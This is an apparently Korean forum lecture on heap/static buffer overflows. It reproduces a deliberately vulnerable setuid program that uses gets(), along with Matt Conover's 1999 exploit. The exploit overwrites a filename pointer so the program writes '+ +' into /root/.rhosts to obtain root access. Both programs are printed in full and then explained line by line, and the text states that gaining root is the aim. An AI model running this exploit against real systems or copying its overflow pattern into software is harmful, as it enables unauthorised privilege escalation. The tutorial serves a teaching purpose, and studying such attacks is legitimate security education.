자! 다음강좌는 heap overflow라고 약속했었죠? 해커즈랩 레벨 11에서도 나온바 있는 이 heap overflow는 stack overflow 보다 더 취약합니다. 아직까진 그렇다할 방어책도 안나온 것 같구여...  이글은  Kyoung whan Choe & Security KAIST 님의 글을 상당수 인용했음을 밝혀둡니다.

1. stack 과 heap?

- 그럼 stack 과 heap 의 차이점은 무엇일까여?
  운영체제에서 stack을 할당할때는 
  char buffer[30]; 
  이런식으로 할당합니다. 하지만 힙의 경우에는
  char *buffer=(char *)malloc(16),
  이런식으로 에플리케이션에서 직접 메모리 영역을 할당하게 됩니다.

2. heap 의 이용

-  stack에서는 함수의 호출에 의했던 return address를 이용해서 해킹을 합니다.
   하지만 이 heap overflow에서는 그냥 한 함수내에서든 다른 곳의 함수를 잇던
   그저 원래 프로그램에서 가르키고 있는 포인터 영역을 바꿔서 하는것입니다.
   주로 임시파일 생성이나 임시파일 쓰기를 할 때 이용하죠.

3. heap 의 구체적 이해.

- 우선 메모리를 어플리 케이션에서 2개를 할당한다고 치면 메모리는 [1 ][2 ] 이렇게
   차례차례 할당된다는것에 포인트를 두어야 합니다. 그럼 문제가 있는 소스를 보면서
   어떻게 뚫을 것인가 하는것에 대해 알아보겠습니다. 
   
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

#define ERROR -1
#define BUFSIZE 16

/*
* Run this vulprog as root or change the "vulfile" to something else.
* Otherwise, even if the exploit works, it won't have permission to
* overwrite /root/.rhosts (the default "example").
*/

int main(int argc, char **argv)
{
FILE *tmpfd;
static char buf[BUFSIZE], *tmpfile;

if (argc <= 1)
{
fprintf(stderr, "Usage: %s <garbage>\n", argv[0]);
exit(ERROR);
}

tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */
printf("before: tmpfile = %s\n", tmpfile);

printf("Enter one line of data to put in %s: ", tmpfile);
gets(buf);

printf("\nafter: tmpfile = %s\n", tmpfile);

tmpfd = fopen(tmpfile, "w");
if (tmpfd == NULL)
{
fprintf(stderr, "error opening %s: %s\n", tmpfile,
strerror(errno));

exit(ERROR);
}

fputs(buf, tmpfd);
fclose(tmpfd);
}

벌써 감이 오시는 분이 있으시죠?
우선 소스를 천천히 차례차례 살펴봅시다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

#define ERROR -1
#define BUFSIZE 16

int main(int argc, char **argv)
{
FILE *tmpfd;

static char buf[BUFSIZE], *tmpfile;
// 여기서 이 프로그램은 첫 번째로 이 실수를 하였습니다/
// 여기서 buf[16] 은 사용자의 키입력을 받는것이요. *tmpfile은 파일의 위치를 가르키고있는
// 포인터입니다. 그래서 사용자의 입력을 통해 뒤에있는 *tmpfile을 건드릴수 있음을 알수있죠
// 또 이 tmpfile을 건드릴수 있으면 우리가 여기에 다른 어떤 파일의 포인터adr를 넣을수 있다는 것
//또한 의미하죠? 

if (argc <= 1)
{
fprintf(stderr, "Usage: %s <garbage>\n", argv[0]);
exit(ERROR);
}

tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */
//여기서 /tmp/vulprog.tmp라는 프로그램의 adr가 tmpfile에 저장됩니다.

printf("before: tmpfile = %s\n", tmpfile);

printf("Enter one line of data to put in %s: ", tmpfile);
gets(buf);
// 가장 결정적인 실수입니다. gets는 그대로 쓴다면 입력하는 텍스트의 크기를 신경쓰지 안습니다.
// 따라서 이렇게 해킹할수 있겠죠.
// 우선 buf[16]은 아무런 입력을 통해 꽉 채웁니다. 그다음 우리가 원하는 adr를 그 바로 뒤에 붙여
// 서 우리가 원하는 프로그램을 가르키게 할수 있는것이죠. 
// 간단한 그림으로 알아보면 지금 메모리 할당이 이렇게 되어 있죠
//       [ buf[16] ][tmpfile point]
// 따라서 buf는 nop의 입력이나 아무거나를 통해 꽉채우고 그 뒤에 임의의 adr를 넣으면 되겠죠?


printf("\nafter: tmpfile = %s\n", tmpfile);

tmpfd = fopen(tmpfile, "w");
if (tmpfd == NULL)
{
fprintf(stderr, "error opening %s: %s\n", tmpfile,
strerror(errno));

exit(ERROR);
}

fputs(buf, tmpfd);
fclose(tmpfd);
}

자 이것이 문제의 소스 이였습니다. 이 프로그램은 setuid가 걸려있다고 가정합니다.
root권한으로여...그럼 우리는 바로 root를 획득할수 있게됩니다.
다음은 공격소스입니다.

/*
* Copyright (C) January 1999, Matt Conover & WSD
*
* This will exploit vulprog1.c. It passes some arguments to the
* program (that the vulnerable program doesn't use). The vulnerable
* program expects us to enter one line of input to be stored
* temporarily. However, because of a static buffer overflow, we can
* overwrite the temporary filename pointer, to have it point to
* argv[1] (which we could pass as "/root/.rhosts"). Then it will
* write our temporary line to this file. So our overflow string (what
* we pass as our input line) will be:
* + + # (tmpfile addr) - (buf addr) # of A's | argv[1] address
*
* We use "+ +" (all hosts), followed by '#' (comment indicator), to
* prevent our "attack code" from causing problems. Without the
* "#", programs using .rhosts would misinterpret our attack code.
*
* Compile as: gcc -o exploit1 exploit1.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BUFSIZE 256

#define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */

#define VULPROG "./vulprog1"
#define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */

/* get value of sp off the stack (used to calculate argv[1] address) */
u_long getesp()
{
__asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
}

int main(int argc, char **argv)
{
u_long addr;

register int i;
int mainbufsize;

char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";

/* ------------------------------------------------------ */
if (argc <= 1)
{
fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
exit(ERROR);
}
/* ------------------------------------------------------ */

memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");

memset(buf + strlen(buf), 'A', DIFF);
addr = getesp() + atoi(argv[1]);

/* reverse byte order (on a little endian system) */
for (i = 0; i < sizeof(u_long); i++)
buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);

mainbufsize = strlen(buf) + strlen(VULPROG) +
strlen(VULPROG) + strlen(VULFILE) + 13;

mainbuf = (char *)malloc(mainbufsize);
memset(mainbuf, 0, sizeof(mainbuf));

snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",buf, VULPROG, VULFILE);

printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",addr, VULFILE);

system(mainbuf);
return 0;
}

자 공격소스도 한줄 한줄 보죠.

/*
* Copyright (C) January 1999, Matt Conover & WSD
*
* This will exploit vulprog1.c. It passes some arguments to the
* program (that the vulnerable program doesn't use). The vulnerable
* program expects us to enter one line of input to be stored
* temporarily. However, because of a static buffer overflow, we can
* overwrite the temporary filename pointer, to have it point to
* argv[1] (which we could pass as "/root/.rhosts"). Then it will
* write our temporary line to this file. So our overflow string (what
* we pass as our input line) will be:
* + + # (tmpfile addr) - (buf addr) # of A's | argv[1] address
*
* We use "+ +" (all hosts), followed by '#' (comment indicator), to
* prevent our "attack code" from causing problems. Without the
* "#", programs using .rhosts would misinterpret our attack code.
*
* Compile as: gcc -o exploit1 exploit1.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
// 헤더 선언이야 너무 많이 예길했으니 다 아시겠죠... 
#define BUFSIZE 256

#define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */

#define VULPROG "./vulprog1"
#define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */
// 정의한 부분입니다. 

/* get value of sp off the stack (used to calculate argv[1] address) */
u_long getesp()
{
__asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
}
// 저번시간 stack overflow에서 어떤역할의 함수인지 배우셨죠?
// 바로 현재의 sp를 알아내는 함수입니다. 

int main(int argc, char **argv)
{
u_long addr;
//  최대한 addr을 크게 잡았군여... 왜 그런지는 나중에 볼까여?
// unsigned long 이라면 long의 범위중 양수만 사용하게 한다는 의미죠? 그럼 사용 범위가
// 양수내에서는 2배로 증가합니다. 자세히 말하면
// -2147483648~2147283647 --------> 0~4294967295 까지 증가하게 되죠 이해 되시죠?

register int I;
int mainbufsize;
// 여러 가지 변수를 잡았네여

char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";
// 그리고 하나의 포인터를 잡았고...(사용은 뒤에가서 알아보죠)
// 앗 이건모지?  buff 사이즈를 [16 + 6 + 1] 로 했네여...
// 여기서!! 우린  왜!! 16+1+1 로 했냐를 알아야 합니다.
// 아까 문제있는 프로그램에서 buffer가 16이였죠? 그래서 16에다가 address를 붙이고  + +를 
// 입력할6과 1은 끝을 알리는 것입니다. 아시겠죠?
// 그러나 우리는 따른 프로그램은 설정된 버퍼가 16인지 모를껍니다.
// 그래서 우리는 다른프로그램에 이 heap overflow를 하려면 argv[1] 같은 것으로 값을 받아서
// 넣어주어야 겠죠?


/* ------------------------------------------------------ */
if (argc <= 1)
{
fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
exit(ERROR);
}
/* ------------------------------------------------------ */
// 입력받은 변수가 하나도 없다면 이것을 출력하라는 문구네여... 

memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");
// 우선 buf를 깨끗하게 만들었고여 
// 그다음 buf에 + +\t#라는 것을 집어넣었네여.
// 아마도 .rhosts 에 넣을것이겠죠? 

memset(buf + strlen(buf), 'A', DIFF);
// 지금 buf에는 "++\t#" 가 들어있는거 아시죠?
// 따라서 메모리를 이런식으로 만든겁니다.
//  |AAAAAAAA|++\t# 이렇게여
//  |                                | <-- 이만큼이 buf+strlen(buf) 의 값이죠. 거기에 16의 크기만큼(DIFF) A를       //  넣는것입니다.


addr = getesp() + atoi(argv[1]);
// 지금부터 포인터 값을 바꿉니다. 
// 지금의 SP + 우리가 입력하는 값으로여...


/* reverse byte order (on a little endian system) */
for (i = 0; i < sizeof(u_long); i++)
buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
// 여기서 sizeof(u_long) 까지 돌리라고 한 것은 buf에 꽉 채우기 위해서입니다.
// buf가 u_long buf; 이렇게 지정되어 있었죠?
// 그다음 여기에 |AAAAAA||*| 별표 친 부분에다가 아까 계산한 addr의 값을
// 넣는것이죠.(저 연산은 u_long 에 맞게 고친것입니다. stack에서 배웠죠?
// 그래야 딱 맞아 떨어진다고여 adr와 메모리가.
// 아시겠죠?


mainbufsize = strlen(buf) + strlen(VULPROG) +
strlen(VULPROG) + strlen(VULFILE) + 13;
// mainbufsize를 결정합니다. 이것은 buf의 전체 크기와 프로그램 이름등등의 길이와 13을 
// 더합니다. 왜 13을 더하느냐? 그것은 adr와 ++ 이것을 더하기 위해서 입니다.

mainbuf = (char *)malloc(mainbufsize);
// char 형으로 메모리를 할당해 주네여. 이것은 밑에 보면 알겠지만
// 이만한 값을 입력하기 위해서죠

memset(mainbuf, 0, sizeof(mainbuf));
// 메모리를 깨끗하게 합니다. 

snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",buf, VULPROG, VULFILE);
// 아까 계산한 사이즈 만큼의 값을 입력한다음 그것을 mainbuf에 넣어줍니다.
// 그럼 echo "%s"|%s%s 는 무엇을 의미하느냐?
// 문제있는 프로그램을 실행시켜 보면 알겠지만
// 프로그램이 실행된후 입력받는 란이 나옵니다.
// |(파이프) 로 연결하면 두 개의 프로그램이 연결되는 것이죠? 뒤에부터 연결됩니다. 
// 이것은 곳 우리가 만튼 프로그램뒤에 argv[1]을 넣어서 실행시키고 echo로 
// 우리가 만든 buf를 입력시키란 예기죠. 그림으로 보실까여?



//  exploit하는 과정!!
//  |  (1)  || (2)| 
//  (1)   문제있는 프로그램의 buf(우리는 16이란걸 알기 때문에 exploit에 16으로 계산했죠?
//  (2)  그뒤에 바로 연결되있는 파일을 가르키는 포인터
// 따라서 우리는 1을 꽉 채운후에 (2) 에다가는 우리가 원하는 곳의 주소(우리가 원하는 것은
// 우리의 exploit 코드 뒤에 입력한 argv죠? 이것은 main과 거의 붙어있기 때문에 찾기쉬워 이런       //  방법을 이용하는것입니다.)를 넣고 그 뒤에다가 + + 란 것을 넣으면 .rhosts 가  + +로 채워지겠죠
// 그럼 메모리는 이렇게 변하죠.
// |AAAAAA||argv[1]의 point||+ +|;
// 그래서 파일의 위치가 변하고 ++는 입력되는 것이랍니다.

printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",addr, VULFILE);
// 그냥 이것을 했다 하고 가르쳐 주는것이죠...^^이제 이런건 설명 안해도 되겠죠? 

system(mainbuf);
// system 한수는 어떤값을 셸에서 실행하는 것 같이 실행해주는것입니다.
// 이것은 mainbuf 우리가 위에서 입력한 값을 그대로 실행해주는것이죠.

return 0;
}

자 heap overflow의 강좌가 끝이 났습니다. 이 기법 외에도 많은 기법이 있지만
나머지는 여러분의 몫으로 남기겠습니다.
다른 기법은 다른분의 강좌를 올려드리겟습니다.
아마도 다음 강좌는 port scanner 만드는 방법 같은 것을 강좌하겠습니다.

질문 있으시면 주저 마시고 질문해 주세여. 꼭 답변하겠습니다.
아! 그리고 저번에 실수로 이야기 문서로 올린 것은 다시 올리겠습니다.